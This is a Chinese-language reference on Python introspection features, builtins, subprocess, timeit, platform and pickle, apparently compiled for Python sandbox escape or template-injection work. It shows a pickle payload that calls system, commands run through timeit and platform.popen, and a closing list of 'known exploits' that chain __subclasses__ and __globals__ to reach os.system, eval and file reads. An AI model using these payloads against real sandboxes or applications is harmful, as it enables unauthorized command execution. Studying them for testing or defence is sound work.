python中常用函数、模块
__getattribute__
被调用无条件地实现类的实例的属性访问。
object.getattribute(self, name)
1)self 必需的。类的实例,在调用时自动传递。
2)name 必需的。属性的名称。
__dict__
存放类的函数、属性
dir()
显示对象的属性的名称
dir([object])
__base__
每个类都有一个__base__属性能列出基类
__mro__
递归显示父类直到object
__subclasses__()[]
获得子类
__import__
载入模块
__import__('name')
os
该模块提供了一些方便使用操作系统相关功能的函数
subprocess
subprocess.run()
Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例
subprocess.getoutput()
接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen().read()和commands.getoutput()
subprocess.getstatusoutput()
执行命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()
__builtin__
Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins
__builtins__
是对内建模块的一个引用
这个和__builtin__有一些区别
1)无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用
2)__builtins__虽是对内建模块的引用,但这个引用要看是使用__builtins__的模块是哪个模块
在主模块__main__中:
__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此
在__main__模块中:
__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时__builtins__的类型是字典
eval()
eval(expression):
返回python 表达式执行的结果
exec()
exec(source)
动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None
reload
重新加载之前导入的模块
getattr
返回对象的命名属性的值
getattr(object,name)
name必须是一个字符串
__name__
__name__是python的一个内置类属性,它存储模块的名称。
python的模块既可以被调用,也可以独立运行。而被调用时__name__存储的是py文件名(模块名称),独立运行时存储的是"main"。
func_code
返回表示已编译函数体的代码对象
function.func_code
timeit 模块
这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
timeit(命令,number=1)
>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)
platform 模块
里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令
print platform.popen('命令',mode='r',bufsize= -1).read()
__globals__
返回当前位置的全局变量
__call__
使实例能够像函数一样被调用
pickle
这个是python的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化
import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)
反序列化:
n=pickle.loads(p)
我们可以通过 pickle 的方式加载命令
pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")
importlib模块
import importlib
importlib.import_module(module)
他可以代替import
一些已知利用
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read()